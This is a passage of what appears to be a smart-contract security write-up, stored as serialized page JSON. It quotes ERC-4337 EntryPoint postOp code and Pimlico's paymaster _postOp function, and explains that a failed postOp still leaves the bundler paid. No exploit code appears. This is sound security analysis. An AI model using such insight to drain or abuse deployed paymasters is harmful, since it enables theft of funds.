}\n",[108533],{"type":21,"tag":78,"props":108534,"children":108535},{"__ignoreMap":7},[108536,108551,108576,108595,108614,108626,108663,108670,108702,108719,108734,108750,108774,108799,108823,108845,108863,108880,108888,108906,108922,108955,108973,108980,108987,108995,109011,109043,109065,109072,109079,109086],{"type":21,"tag":153,"props":108537,"children":108538},{"class":155,"line":156},[108539,108543,108547],{"type":21,"tag":153,"props":108540,"children":108541},{"style":170},[108542],{"type":26,"value":92128},{"type":21,"tag":153,"props":108544,"children":108545},{"style":181},[108546],{"type":26,"value":107729},{"type":21,"tag":153,"props":108548,"children":108549},{"style":160},[108550],{"type":26,"value":773},{"type":21,"tag":153,"props":108552,"children":108553},{"class":155,"line":166},[108554,108559,108563,108567,108572],{"type":21,"tag":153,"props":108555,"children":108556},{"style":170},[108557],{"type":26,"value":108558},"        IPaymaster",{"type":21,"tag":153,"props":108560,"children":108561},{"style":160},[108562],{"type":26,"value":355},{"type":21,"tag":153,"props":108564,"children":108565},{"style":192},[108566],{"type":26,"value":106089},{"type":21,"tag":153,"props":108568,"children":108569},{"style":192},[108570],{"type":26,"value":108571}," mode",{"type":21,"tag":153,"props":108573,"children":108574},{"style":160},[108575],{"type":26,"value":792},{"type":21,"tag":153,"props":108577,"children":108578},{"class":155,"line":225},[108579,108583,108587,108591],{"type":21,"tag":153,"props":108580,"children":108581},{"style":170},[108582],{"type":26,"value":107037},{"type":21,"tag":153,"props":108584,"children":108585},{"style":170},[108586],{"type":26,"value":105377},{"type":21,"tag":153,"props":108588,"children":108589},{"style":192},[108590],{"type":26,"value":108025},{"type":21,"tag":153,"props":108592,"children":108593},{"style":160},[108594],{"type":26,"value":792},{"type":21,"tag":153,"props":108596,"children":108597},{"class":155,"line":239},[108598,108602,108606,108610],{"type":21,"tag":153,"props":108599,"children":108600},{"style":214},[108601],{"type":26,"value":107996},{"type":21,"tag":153,"props":108603,"children":108604},{"style":170},[108605],{"type":26,"value":105377},{"type":21,"tag":153,"props":108607,"children":108608},{"style":192},[108609],{"type":26,"value":78637},{"type":21,"tag":153,"props":108611,"children":108612},{"style":160},[108613],{"type":26,"value":792},{"type":21,"tag":153,"props":108615,"children":108616},{"class":155,"line":382},[108617,108621],{"type":21,"tag":153,"props":108618,"children":108619},{"style":214},[108620],{"type":26,"value":92306},{"type":21,"tag":153,"props":108622,"children":108623},{"style":192},[108624],{"type":26,"value":108625}," actualGas\n",{"type":21,"tag":153,"props":108627,"children":108628},{"class":155,"line":501},[108629,108633,108638,108643,108647,108651,108655,108659],{"type":21,"tag":153,"props":108630,"children":108631},{"style":160},[108632],{"type":26,"value":108053},{"type":21,"tag":153,"props":108634,"children":108635},{"style":170},[108636],{"type":26,"value":108637},"internal",{"type":21,"tag":153,"props":108639,"children":108640},{"style":170},[108641],{"type":26,"value":108642}," virtual",{"type":21,"tag":153,"props":108644,"children":108645},{"style":1751},[108646],{"type":26,"value":78290},{"type":21,"tag":153,"props":108648,"children":108649},{"style":160},[108650],{"type":26,"value":5820},{"type":21,"tag":153,"props":108652,"children":108653},{"style":214},[108654],{"type":26,"value":48457},{"type":21,"tag":153,"props":108656,"children":108657},{"style":192},[108658],{"type":26,"value":106118},{"type":21,"tag":153,"props":108660,"children":108661},{"style":160},[108662],{"type":26,"value":2659},{"type":21,"tag":153,"props":108664,"children":108665},{"class":155,"line":533},[108666],{"type":21,"tag":153,"props":108667,"children":108668},{"style":160},[108669],{"type":26,"value":107098},{"type":21,"tag":153,"props":108671,"children":108672},{"class":155,"line":542},[108673,108677,108682,108686,108690,108694,108698],{"type":21,"tag":153,"props":108674,"children":108675},{"style":1751},[108676],{"type":26,"value":61093},{"type":21,"tag":153,"props":108678,"children":108679},{"style":160},[108680],{"type":26,"value":108681}," (paymaster ",{"type":21,"tag":153,"props":108683,"children":108684},{"style":198},[108685],{"type":26,"value":1694},{"type":21,"tag":153,"props":108687,"children":108688},{"style":214},[108689],{"type":26,"value":8979},{"type":21,"tag":153,"props":108691,"children":108692},{"style":160},[108693],{"type":26,"value":189},{"type":21,"tag":153,"props":108695,"children":108696},{"style":300},[108697],{"type":26,"value":2996},{"type":21,"tag":153,"props":108699,"children":108700},{"style":160},[108701],{"type":26,"value":37887},{"type":21,"tag":153,"props":108703,"children":108704},{"class":155,"line":762},[108705,108710,108714],{"type":21,"tag":153,"props":108706,"children":108707},{"style":160},[108708],{"type":26,"value":108709},"                refundAddress ",{"type":21,"tag":153,"props":108711,"children":108712},{"style":198},[108713],{"type":26,"value":2367},{"type":21,"tag":153,"props":108715,"children":108716},{"style":160},[108717],{"type":26,"value":108718}," mUserOp.sender;\n",{"type":21,"tag":153,"props":108720,"children":108721},{"class":155,"line":776},[108722,108726,108730],{"type":21,"tag":153,"props":108723,"children":108724},{"style":160},[108725],{"type":26,"value":72889},{"type":21,"tag":153,"props":108727,"children":108728},{"style":1751},[108729],{"type":26,"value":2717},{"type":21,"tag":153,"props":108731,"children":108732},{"style":160},[108733],{"type":26,"value":236},{"type":21,"tag":153,"props":108735,"children":108736},{"class":155,"line":795},[108737,108741,108745],{"type":21,"tag":153,"props":108738,"children":108739},{"style":160},[108740],{"type":26,"value":108709},{"type":21,"tag":153,"props":108742,"children":108743},{"style":198},[108744],{"type":26,"value":2367},{"type":21,"tag":153,"props":108746,"children":108747},{"style":160},[108748],{"type":26,"value":108749}," paymaster;\n",{"type":21,"tag":153,"props":108751,"children":108752},{"class":155,"line":808},[108753,108757,108762,108766,108770],{"type":21,"tag":153,"props":108754,"children":108755},{"style":1751},[108756],{"type":26,"value":105817},{"type":21,"tag":153,"props":108758,"children":108759},{"style":160},[108760],{"type":26,"value":108761}," (context.length ",{"type":21,"tag":153,"props":108763,"children":108764},{"style":198},[108765],{"type":26,"value":13182},{"type":21,"tag":153,"props":108767,"children":108768},{"style":300},[108769],{"type":26,"value":5799},{"type":21,"tag":153,"props":108771,"children":108772},{"style":160},[108773],{"type":26,"value":2659},{"type":21,"tag":153,"props":108775,"children":108776},{"class":155,"line":820},[108777,108782,108786,108790,108794],{"type":21,"tag":153,"props":108778,"children":108779},{"style":160},[108780],{"type":26,"value":108781},"                    actualGasCost ",{"type":21,"tag":153,"props":108783,"children":108784},{"style":198},[108785],{"type":26,"value":2367},{"type":21,"tag":153,"props":108787,"children":108788},{"style":160},[108789],{"type":26,"value":107589},{"type":21,"tag":153,"props":108791,"children":108792},{"style":198},[108793],{"type":26,"value":313},{"type":21,"tag":153,"props":108795,"children":108796},{"style":160},[108797],{"type":26,"value":108798}," gasPrice;\n",{"type":21,"tag":153,"props":108800,"children":108801},{"class":155,"line":842},[108802,108806,108811,108815,108819],{"type":21,"tag":153,"props":108803,"children":108804},{"style":214},[108805],{"type":26,"value":105774},{"type":21,"tag":153,"props":108807,"children":108808},{"style":160},[108809],{"type":26,"value":108810}," postOpPreGas ",{"type":21,"tag":153,"props":108812,"children":108813},{"style":198},[108814],{"type":26,"value":2367},{"type":21,"tag":153,"props":108816,"children":108817},{"style":170},[108818],{"type":26,"value":107607},{"type":21,"tag":153,"props":108820,"children":108821},{"style":160},[108822],{"type":26,"value":839},{"type":21,"tag":153,"props":108824,"children":108825},{"class":155,"line":3204},[108826,108831,108836,108840],{"type":21,"tag":153,"props":108827,"children":108828},{"style":1751},[108829],{"type":26,"value":108830},"                    if",{"type":21,"tag":153,"props":108832,"children":108833},{"style":160},[108834],{"type":26,"value":108835}," (mode ",{"type":21,"tag":153,"props":108837,"children":108838},{"style":198},[108839],{"type":26,"value":18385},{"type":21,"tag":153,"props":108841,"children":108842},{"style":160},[108843],{"type":26,"value":108844}," IPaymaster.PostOpMode.postOpReverted) {\n",{"type":21,"tag":153,"props":108846,"children":108847},{"class":155,"line":3230},[108848,108853,108858],{"type":21,"tag":153,"props":108849,"children":108850},{"style":1751},[108851],{"type":26,"value":108852},"                        try",{"type":21,"tag":153,"props":108854,"children":108855},{"style":181},[108856],{"type":26,"value":108857}," IPaymaster",{"type":21,"tag":153,"props":108859,"children":108860},{"style":160},[108861],{"type":26,"value":108862},"(paymaster).postOp{\n",{"type":21,"tag":153,"props":108864,"children":108865},{"class":155,"line":3239},[108866,108871,108875],{"type":21,"tag":153,"props":108867,"children":108868},{"style":160},[108869],{"type":26,"value":108870},"                                gas",{"type":21,"tag":153,"props":108872,"children":108873},{"style":198},[108874],{"type":26,"value":201},{"type":21,"tag":153,"props":108876,"children":108877},{"style":160},[108878],{"type":26,"value":108879}," mUserOp.paymasterPostOpGasLimit\n",{"type":21,"tag":153,"props":108881,"children":108882},{"class":155,"line":3253},[108883],{"type":21,"tag":153,"props":108884,"children":108885},{"style":160},[108886],{"type":26,"value":108887},"                            }(mode, context, actualGasCost, gasPrice)\n",{"type":21,"tag":153,"props":108889,"children":108890},{"class":155,"line":3301},[108891,108896,108901],{"type":21,"tag":153,"props":108892,"children":108893},{"style":3050},[108894],{"type":26,"value":108895},"                        // ",{"type":21,"tag":153,"props":108897,"children":108898},{"style":170},[108899],{"type":26,"value":108900},"solhint-disable",{"type":21,"tag":153,"props":108902,"children":108903},{"style":3050},[108904],{"type":26,"value":108905},"-next-line no-empty-blocks\n",{"type":21,"tag":153,"props":108907,"children":108908},{"class":155,"line":3346},[108909,108914,108918],{"type":21,"tag":153,"props":108910,"children":108911},{"style":160},[108912],{"type":26,"value":108913},"                        {} ",{"type":21,"tag":153,"props":108915,"children":108916},{"style":1751},[108917],{"type":26,"value":50701},{"type":21,"tag":153,"props":108919,"children":108920},{"style":160},[108921],{"type":26,"value":236},{"type":21,"tag":153,"props":108923,"children":108924},{"class":155,"line":3355},[108925,108930,108934,108939,108943,108947,108951],{"type":21,"tag":153,"props":108926,"children":108927},{"style":214},[108928],{"type":26,"value":108929},"                            bytes",{"type":21,"tag":153,"props":108931,"children":108932},{"style":170},[108933],{"type":26,"value":105377},{"type":21,"tag":153,"props":108935,"children":108936},{"style":160},[108937],{"type":26,"value":108938}," reason ",{"type":21,"tag":153,"props":108940,"children":108941},{"style":198},[108942],{"type":26,"value":2367},{"type":21,"tag":153,"props":108944,"children":108945},{"style":160},[108946],{"type":26,"value":108148},{"type":21,"tag":153,"props":108948,"children":108949},{"style":181},[108950],{"type":26,"value":108239},{"type":21,"tag":153,"props":108952,"children":108953},{"style":160},[108954],{"type":26,"value":108244},{"type":21,"tag":153,"props":108956,"children":108957},{"class":155,"line":3364},[108958,108963,108968],{"type":21,"tag":153,"props":108959,"children":108960},{"style":1751},[108961],{"type":26,"value":108962},"                            revert",{"type":21,"tag":153,"props":108964,"children":108965},{"style":181},[108966],{"type":26,"value":108967}," PostOpReverted",{"type":21,"tag":153,"props":108969,"children":108970},{"style":160},[108971],{"type":26,"value":108972},"(reason);\n",{"type":21,"tag":153,"props":108974,"children":108975},{"class":155,"line":3376},[108976],{"type":21,"tag":153,"props":108977,"children":108978},{"style":160},[108979],{"type":26,"value":73273},{"type":21,"tag":153,"props":108981,"children":108982},{"class":155,"line":3393},[108983],{"type":21,"tag":153,"props":108984,"children":108985},{"style":160},[108986],{"type":26,"value":73358},{"type":21,"tag":153,"props":108988,"children":108989},{"class":155,"line":3405},[108990],{"type":21,"tag":153,"props":108991,"children":108992},{"style":3050},[108993],{"type":26,"value":108994},"                    // Calculating a penalty for unused postOp gas\n",{"type":21,"tag":153,"props":108996,"children":108997},{"class":155,"line":3427},[108998,109002,109006],{"type":21,"tag":153,"props":108999,"children":109000},{"style":3050},[109001],{"type":26,"value":105839},{"type":21,"tag":153,"props":109003,"children":109004},{"style":170},[109005],{"type":26,"value":69053},{"type":21,"tag":153,"props":109007,"children":109008},{"style":3050},[109009],{"type":26,"value":109010}," that if postOp is reverted, the maximum penalty (10% of postOpGasLimit) is charged.\n",{"type":21,"tag":153,"props":109012,"children":109013},{"class":155,"line":3448},[109014,109018,109023,109027,109031,109035,109039],{"type":21,"tag":153,"props":109015,"children":109016},{"style":214},[109017],{"type":26,"value":105774},{"type":21,"tag":153,"props":109019,"children":109020},{"style":160},[109021],{"type":26,"value":109022}," postOpGasUsed ",{"type":21,"tag":153,"props":109024,"children":109025},{"style":198},[109026],{"type":26,"value":2367},{"type":21,"tag":153,"props":109028,"children":109029},{"style":160},[109030],{"type":26,"value":108810},{"type":21,"tag":153,"props":109032,"children":109033},{"style":198},[109034],{"type":26,"value":3873},{"type":21,"tag":153,"props":109036,"children":109037},{"style":170},[109038],{"type":26,"value":107607},{"type":21,"tag":153,"props":109040,"children":109041},{"style":160},[109042],{"type":26,"value":839},{"type":21,"tag":153,"props":109044,"children":109045},{"class":155,"line":3456},[109046,109051,109055,109060],{"type":21,"tag":153,"props":109047,"children":109048},{"style":160},[109049],{"type":26,"value":109050},"                    postOpUnusedGasPenalty ",{"type":21,"tag":153,"props":109052,"children":109053},{"style":198},[109054],{"type":26,"value":2367},{"type":21,"tag":153,"props":109056,"children":109057},{"style":181},[109058],{"type":26,"value":109059}," _getUnusedGasPenalty",{"type":21,"tag":153,"props":109061,"children":109062},{"style":160},[109063],{"type":26,"value":109064},"(postOpGasUsed, mUserOp.paymasterPostOpGasLimit);\n",{"type":21,"tag":153,"props":109066,"children":109067},{"class":155,"line":3493},[109068],{"type":21,"tag":153,"props":109069,"children":109070},{"style":160},[109071],{"type":26,"value":73366},{"type":21,"tag":153,"props":109073,"children":109074},{"class":155,"line":3509},[109075],{"type":21,"tag":153,"props":109076,"children":109077},{"style":160},[109078],{"type":26,"value":61177},{"type":21,"tag":153,"props":109080,"children":109081},{"class":155,"line":3517},[109082],{"type":21,"tag":153,"props":109083,"children":109084},{"style":160},[109085],{"type":26,"value":107098},{"type":21,"tag":153,"props":109087,"children":109088},{"class":155,"line":3526},[109089],{"type":21,"tag":153,"props":109090,"children":109091},{"style":160},[109092],{"type":26,"value":539},{"type":21,"tag":22,"props":109094,"children":109095},{},[109096,109098,109103,109105,109111,109113,109119,109121,109126,109128,109133,109135,109140,109142,109147,109149,109154,109156,109161],{"type":26,"value":109097},"It turns out that if the ",{"type":21,"tag":78,"props":109099,"children":109101},{"className":109100},[],[109102],{"type":26,"value":104678},{"type":26,"value":109104}," call fails, it will revert with ",{"type":21,"tag":78,"props":109106,"children":109108},{"className":109107},[],[109109],{"type":26,"value":109110},"PostOpReverted",{"type":26,"value":109112},". However, as we can see in the previous code of ",{"type":21,"tag":78,"props":109114,"children":109116},{"className":109115},[],[109117],{"type":26,"value":109118},"_executeUserOp",{"type":26,"value":109120},", even though ",{"type":21,"tag":78,"props":109122,"children":109124},{"className":109123},[],[109125],{"type":26,"value":107820},{"type":26,"value":109127}," fails, the execution won't revert. Instead, it will continue to make another ",{"type":21,"tag":78,"props":109129,"children":109131},{"className":109130},[],[109132],{"type":26,"value":108488},{"type":26,"value":109134}," call with ",{"type":21,"tag":78,"props":109136,"children":109138},{"className":109137},[],[109139],{"type":26,"value":108496},{"type":26,"value":109141}," mode, and it won't try to call ",{"type":21,"tag":78,"props":109143,"children":109145},{"className":109144},[],[109146],{"type":26,"value":104678},{"type":26,"value":109148}," again. This means the ",{"type":21,"tag":78,"props":109150,"children":109152},{"className":109151},[],[109153],{"type":26,"value":104539},{"type":26,"value":109155}," still gets paid for submitting the failed ",{"type":21,"tag":78,"props":109157,"children":109159},{"className":109158},[],[109160],{"type":26,"value":104479},{"type":26,"value":355},{"type":21,"tag":22,"props":109163,"children":109164},{},[109165,109167,109172,109174,109179,109181,109188],{"type":26,"value":109166},"Now that we understand this behavior where ",{"type":21,"tag":78,"props":109168,"children":109170},{"className":109169},[],[109171],{"type":26,"value":104678},{"type":26,"value":109173}," is allowed to fail while the ",{"type":21,"tag":78,"props":109175,"children":109177},{"className":109176},[],[109178],{"type":26,"value":104539},{"type":26,"value":109180}," still gets paid, let's examine a real-world example from the most widely used paymaster currently, which is the paymaster implemented by ",{"type":21,"tag":29,"props":109182,"children":109185},{"href":109183,"rel":109184},"https://github.com/pimlicolabs/singleton-paymaster/blob/feat/v8/src/SingletonPaymasterV7.sol",[33],[109186],{"type":26,"value":109187},"Pimlico",{"type":26,"value":355},{"type":21,"tag":143,"props":109190,"children":109192},{"className":7205,"code":109191,"language":7204,"meta":7,"style":7},"    function _postOp(\n        PostOpMode, /* mode */\n        bytes calldata _context,\n        uint256 _actualGasCost,\n        uint256 _actualUserOpFeePerGas\n    )\n        internal\n    {\n        ERC20PostOpContext memory ctx = _parsePostOpContext(_context);\n\n        uint256 expectedPenaltyGasCost = _expectedPenaltyGasCost(\n            _actualGasCost, _actualUserOpFeePerGas, ctx.postOpGas, ctx.preOpGasApproximation, ctx.executionGasLimit\n        );\n\n        uint256 actualGasCost = _actualGasCost + expectedPenaltyGasCost;\n\n        uint256 costInToken =\n            getCostInToken(actualGasCost, ctx.postOpGas, _actualUserOpFeePerGas, ctx.exchangeRate) + ctx.constantFee;\n\n        uint256 absoluteCostInToken =\n            costInToken > ctx.preFundCharged ? costInToken - ctx.preFundCharged : ctx.preFundCharged - costInToken;\n\n        SafeTransferLib.safeTransferFrom(\n            ctx.token,\n            costInToken > ctx.preFundCharged ? ctx.sender : ctx.treasury,\n            costInToken > ctx.preFundCharged ? ctx.treasury : ctx.sender,\n            absoluteCostInToken\n        );\n\n        uint256 preFundInToken = (ctx.preFund * ctx.exchangeRate) / 1e18;\n\n        if (ctx.recipient != address(0) && preFundInToken > costInToken) {\n            SafeTransferLib.safeTransferFrom(ctx.token, ctx.sender, ctx.recipient, preFundInToken - costInToken);\n        }\n\n        emit UserOperationSponsored(ctx.userOpHash, ctx.sender, ERC20_MODE, ctx.token, costInToken, ctx.exchangeRate);\n    }\n",[109193],{"type":21,"tag":78,"props":109194,"children":109195},{"__ignoreMap":7},[109196,109211,109228,109248,109264,109276,109283,109290,109297,109328,109335,109360,109368,109375,109382,109411,109418,109434,109456,109463,109479,109529,109536,109552,109560,109593,109626,109634,109641,109648,109691,109698,109747,109773,109780,109787,109804],{"type":21,"tag":153,"props":109197,"children":109198},{"class":155,"line":156},[109199,109203,109207],{"type":21,"tag":153,"props":109200,"children":109201},{"style":170},[109202],{"type":26,"value":92128},{"type":21,"tag":153,"props":109204,"children":109205},{"style":181},[109206],{"type":26,"value":106080},{"type":21,"tag":153,"props":109208,"children":109209},{"style":160},[109210],{"type":26,"value":773},{"type":21,"tag":153,"props":109212,"children":109213},{"class":155,"line":166},[109214,109219,109223],{"type":21,"tag":153,"props":109215,"children":109216},{"style":170},[109217],{"type":26,"value":109218},"        PostOpMode",{"type":21,"tag":153,"props":109220,"children":109221},{"style":160},[109222],{"type":26,"value":1670},{"type":21,"tag":153,"props":109224,"children":109225},{"style":3050},[109226],{"type":26,"value":109227},"/* mode */\n",{"type":21,"tag":153,"props":109229,"children":109230},{"class":155,"line":225},[109231,109235,109239,109244],{"type":21,"tag":153,"props":109232,"children":109233},{"style":214},[109234],{"type":26,"value":107996},{"type":21,"tag":153,"props":109236,"children":109237},{"style":170},[109238],{"type":26,"value":105309},{"type":21,"tag":153,"props":109240,"children":109241},{"style":192},[109242],{"type":26,"value":109243}," _context",{"type":21,"tag":153,"props":109245,"children":109246},{"style":160},[109247],{"type":26,"value":792},{"type":21,"tag":153,"props":109249,"children":109250},{"class":155,"line":239},[109251,109255,109260],{"type":21,"tag":153,"props":109252,"children":109253},{"style":214},[109254],{"type":26,"value":92306},{"type":21,"tag":153,"props":109256,"children":109257},{"style":192},[109258],{"type":26,"value":109259}," _actualGasCost",{"type":21,"tag":153,"props":109261,"children":109262},{"style":160},[109263],{"type":26,"value":792},{"type":21,"tag":153,"props":109265,"children":109266},{"class":155,"line":382},[109267,109271],{"type":21,"tag":153,"props":109268,"children":109269},{"style":214},[109270],{"type":26,"value":92306},{"type":21,"tag":153,"props":109272,"children":109273},{"style":192},[109274],{"type":26,"value":109275}," _actualUserOpFeePerGas\n",{"type":21,"tag":153,"props":109277,"children":109278},{"class":155,"line":501},[109279],{"type":21,"tag":153,"props":109280,"children":109281},{"style":160},[109282],{"type":26,"value":26616},{"type":21,"tag":153,"props":109284,"children":109285},{"class":155,"line":533},[109286],{"type":21,"tag":153,"props":109287,"children":109288},{"style":170},[109289],{"type":26,"value":105348},{"type":21,"tag":153,"props":109291,"children":109292},{"class":155,"line":542},[109293],{"type":21,"tag":153,"props":109294,"children":109295},{"style":160},[109296],{"type":26,"value":2562},{"type":21,"tag":153,"props":109298,"children":109299},{"class":155,"line":762},[109300,109305,109309,109314,109318,109323],{"type":21,"tag":153,"props":109301,"children":109302},{"style":160},[109303],{"type":26,"value":109304},"        ERC20PostOpContext ",{"type":21,"tag":153,"props":109306,"children":109307},{"style":170},[109308],{"type":26,"value":78269},{"type":21,"tag":153,"props":109310,"children":109311},{"style":160},[109312],{"type":26,"value":109313}," ctx ",{"type":21,"tag":153,"props":109315,"children":109316},{"style":198},[109317],{"type":26,"value":2367},{"type":21,"tag":153,"props":109319,"children":109320},{"style":181},[109321],{"type":26,"value":109322}," _parsePostOpContext",{"type":21,"tag":153,"props":109324,"children":109325},{"style":160},[109326],{"type":26,"value":109327},"(_context);\n",{"type":21,"tag":153,"props":109329,"children":109330},{"class":155,"line":776},[109331],{"type":21,"tag":153,"props":109332,"children":109333},{"emptyLinePlaceholder":16},[109334],{"type":26,"value":759},{"type":21,"tag":153,"props":109336,"children":109337},{"class":155,"line":795},[109338,109342,109347,109351,109356],{"type":21,"tag":153,"props":109339,"children":109340},{"style":214},[109341],{"type":26,"value":92306},{"type":21,"tag":153,"props":109343,"children":109344},{"style":160},[109345],{"type":26,"value":109346}," expectedPenaltyGasCost ",{"type":21,"tag":153,"props":109348,"children":109349},{"style":198},[109350],{"type":26,"value":2367},{"type":21,"tag":153,"props":109352,"children":109353},{"style":181},[109354],{"type":26,"value":109355}," _expectedPenaltyGasCost",{"type":21,"tag":153,"props":109357,"children":109358},{"style":160},[109359],{"type":26,"value":773},{"type":21,"tag":153,"props":109361,"children":109362},{"class":155,"line":808},[109363],{"type":21,"tag":153,"props":109364,"children":109365},{"style":160},[109366],{"type":26,"value":109367},"            _actualGasCost, _actualUserOpFeePerGas, ctx.postOpGas, ctx.preOpGasApproximation, ctx.executionGasLimit\n",{"type":21,"tag":153,"props":109369,"children":109370},{"class":155,"line":820},[109371],{"type":21,"tag":153,"props":109372,"children":109373},{"style":160},[109374],{"type":26,"value":10470},{"type":21,"tag":153,"props":109376,"children":109377},{"class":155,"line":842},[109378],{"type":21,"tag":153,"props":109379,"children":109380},{"emptyLinePlaceholder":16},[109381],{"type":26,"value":759},{"type":21,"tag":153,"props":109383,"children":109384},{"class":155,"line":3204},[109385,109389,109393,109397,109402,109406],{"type":21,"tag":153,"props":109386,"children":109387},{"style":214},[109388],{"type":26,"value":92306},{"type":21,"tag":153,"props":109390,"children":109391},{"style":160},[109392],{"type":26,"value":106404},{"type":21,"tag":153,"props":109394,"children":109395},{"style":198},[109396],{"type":26,"value":2367},{"type":21,"tag":153,"props":109398,"children":109399},{"style":160},[109400],{"type":26,"value":109401}," _actualGasCost ",{"type":21,"tag":153,"props":109403,"children":109404},{"style":198},[109405],{"type":26,"value":4099},{"type":21,"tag":153,"props":109407,"children":109408},{"style":160},[109409],{"type":26,"value":109410}," expectedPenaltyGasCost;\n",{"type":21,"tag":153,"props":109412,"children":109413},{"class":155,"line":3230},[109414],{"type":21,"tag":153,"props":109415,"children":109416},{"emptyLinePlaceholder":16},[109417],{"type":26,"value":759},{"type":21,"tag":153,"props":109419,"children":109420},{"class":155,"line":3239},[109421,109425,109430],{"type":21,"tag":153,"props":109422,"children":109423},{"style":214},[109424],{"type":26,"value":92306},{"type":21,"tag":153,"props":109426,"children":109427},{"style":160},[109428],{"type":26,"value":109429}," costInToken ",{"type":21,"tag":153,"props":109431,"children":109432},{"style":198},[109433],{"type":26,"value":17396},{"type":21,"tag":153,"props":109435,"children":109436},{"class":155,"line":3253},[109437,109442,109447,109451],{"type":21,"tag":153,"props":109438,"children":109439},{"style":181},[109440],{"type":26,"value":109441},"            getCostInToken",{"type":21,"tag":153,"props":109443,"children":109444},{"style":160},[109445],{"type":26,"value":109446},"(actualGasCost, ctx.postOpGas, _actualUserOpFeePerGas, ctx.exchangeRate) ",{"type":21,"tag":153,"props":109448,"children":109449},{"style":198},[109450],{"type":26,"value":4099},{"type":21,"tag":153,"props":109452,"children":109453},{"style":160},[109454],{"type":26,"value":109455}," ctx.constantFee;\n",{"type":21,"tag":153,"props":109457,"children":109458},{"class":155,"line":3301},[109459],{"type":21,"tag":153,"props":109460,"children":109461},{"emptyLinePlaceholder":16},[109462],{"type":26,"value":759},{"type":21,"tag":153,"props":109464,"children":109465},{"class":155,"line":3346},[109466,109470,109475],{"type":21,"tag":153,"props":109467,"children":109468},{"style":214},[109469],{"type":26,"value":92306},{"type":21,"tag":153,"props":109471,"children":109472},{"style":160},[109473],{"type":26,"value":109474}," absoluteCostInToken ",{"type":21,"tag":153,"props":109476,"children":109477},{"style":198},[109478],{"type":26,"value":17396},{"type":21,"tag":153,"props":109480,"children":109481},{"class":155,"line":3355},[109482,109487,109491,109496,109500,109504,109508,109512,109516,109520,109524],{"type":21,"tag":153,"props":109483,"children":109484},{"style":160},[109485],{"type":26,"value":109486},"            costInToken ",{"type":21,"tag":153,"props":109488,"children":109489},{"style":198},[109490],{"type":26,"value":13182},{"type":21,"tag":153,"props":109492,"children":109493},{"style":160},[109494],{"type":26,"value":109495}," ctx.preFundCharged ",{"type":21,"tag":153,"props":109497,"children":109498},{"style":198},[109499],{"type":26,"value":2022},{"type":21,"tag":153,"props":109501,"children":109502},{"style":160},[109503],{"type":26,"value":109429},{"type":21,"tag":153,"props":109505,"children":109506},{"style":198},[109507],{"type":26,"value":3873},{"type":21,"tag":153,"props":109509,"children":109510},{"style":160},[109511],{"type":26,"value":109495},{"type":21,"tag":153,"props":109513,"children":109514},{"style":198},[109515],{"type":26,"value":201},{"type":21,"tag":153,"props":109517,"children":109518},{"style":160},[109519],{"type":26,"value":109495},{"type":21,"tag":153,"props":109521,"children":109522},{"style":198},[109523],{"type":26,"value":3873},{"type":21,"tag":153,"props":109525,"children":109526},{"style":160},[109527],{"type":26,"value":109528}," costInToken;\n",{"type":21,"tag":153,"props":109530,"children":109531},{"class":155,"line":3364},[109532],{"type":21,"tag":153,"props":109533,"children":109534},{"emptyLinePlaceholder":16},[109535],{"type":26,"value":759},{"type":21,"tag":153,"props":109537,"children":109538},{"class":155,"line":3376},[109539,109544,109548],{"type":21,"tag":153,"props":109540,"children":109541},{"style":160},[109542],{"type":26,"value":109543},"        SafeTransferLib.",{"type":21,"tag":153,"props":109545,"children":109546},{"style":181},[109547],{"type":26,"value":105935},{"type":21,"tag":153,"props":109549,"children":109550},{"style":160},[109551],{"type":26,"value":773},{"type":21,"tag":153,"props":109553,"children":109554},{"class":155,"line":3393},[109555],{"type":21,"tag":153,"props":109556,"children":109557},{"style":160},[109558],{"type":26,"value":109559},"            ctx.token,\n",{"type":21,"tag":153,"props":109561,"children":109562},{"class":155,"line":3405},[109563,109567,109571,109575,109579,109584,109588],{"type":21,"tag":153,"props":109564,"children":109565},{"style":160},[109566],{"type":26,"value":109486},{"type":21,"tag":153,"props":109568,"children":109569},{"style":198},[109570],{"type":26,"value":13182},{"type":21,"tag":153,"props":109572,"children":109573},{"style":160},[109574],{"type":26,"value":109495},{"type":21,"tag":153,"props":109576,"children":109577},{"style":198},[109578],{"type":26,"value":2022},{"type":21,"tag":153,"props":109580,"children":109581},{"style":160},[109582],{"type":26,"value":109583}," ctx.sender ",{"type":21,"tag":153,"props":109585,"children":109586},{"style":198},[109587],{"type":26,"value":201},{"type":21,"tag":153,"props":109589,"children":109590},{"style":160},[109591],{"type":26,"value":109592}," ctx.treasury,\n",{"type":21,"tag":153,"props":109594,"children":109595},{"class":155,"line":3427},[109596,109600,109604,109608,109612,109617,109621],{"type":21,"tag":153,"props":109597,"children":109598},{"style":160},[109599],{"type":26,"value":109486},{"type":21,"tag":153,"props":109601,"children":109602},{"style":198},[109603],{"type":26,"value":13182},{"type":21,"tag":153,"props":109605,"children":109606},{"style":160},[109607],{"type":26,"value":109495},{"type":21,"tag":153,"props":109609,"children":109610},{"style":198},[109611],{"type":26,"value":2022},{"type":21,"tag":153,"props":109613,"children":109614},{"style":160},[109615],{"type":26,"value":109616}," ctx.treasury ",{"type":21,"tag":153,"props":109618,"children":109619},{"style":198},[109620],{"type":26,"value":201},{"type":21,"tag":153,"props":109622,"children":109623},{"style":160},[109624],{"type":26,"value":109625}," ctx.sender,\n",{"type":21,"tag":153,"props":109627,"children":109628},{"class":155,"line":3448},[109629],{"type":21,"tag":153,"props":109630,"children":109631},{"style":160},[109632],{"type":26,"value":109633},"            absoluteCostInToken\n",{"type":21,"tag":153,"props":109635,"children":109636},{"class":155,"line":3456},[109637],{"type":21,"tag":153,"props":109638,"children":109639},{"style":160},[109640],{"type":26,"value":10470},{"type":21,"tag":153,"props":109642,"children":109643},{"class":155,"line":3493},[109644],{"type":21,"tag":153,"props":109645,"children":109646},{"emptyLinePlaceholder":16},[109647],{"type":26,"value":759},{"type":21,"tag":153,"props":109649,"children":109650},{"class":155,"line":3509},[109651,109655,109660,109664,109669,109673,109678,109682,109687],{"type":21,"tag":153,"props":109652,"children":109653},{"style":214},[109654],{"type":26,"value":92306},{"type":21,"tag":153,"props":109656,"children":109657},{"style":160},[109658],{"type":26,"value":109659}," preFundInToken ",{"type":21,"tag":153,"props":109661,"children":109662},{"style":198},[109663],{"type":26,"value":2367},{"type":21,"tag":153,"props":109665,"children":109666},{"style":160},[109667],{"type":26,"value":109668}," (ctx.preFund ",{"type":21,"tag":153,"props":109670,"children":109671},{"style":198},[109672],{"type":26,"value":313},{"type":21,"tag":153,"props":109674,"children":109675},{"style":160},[109676],{"type":26,"value":109677}," 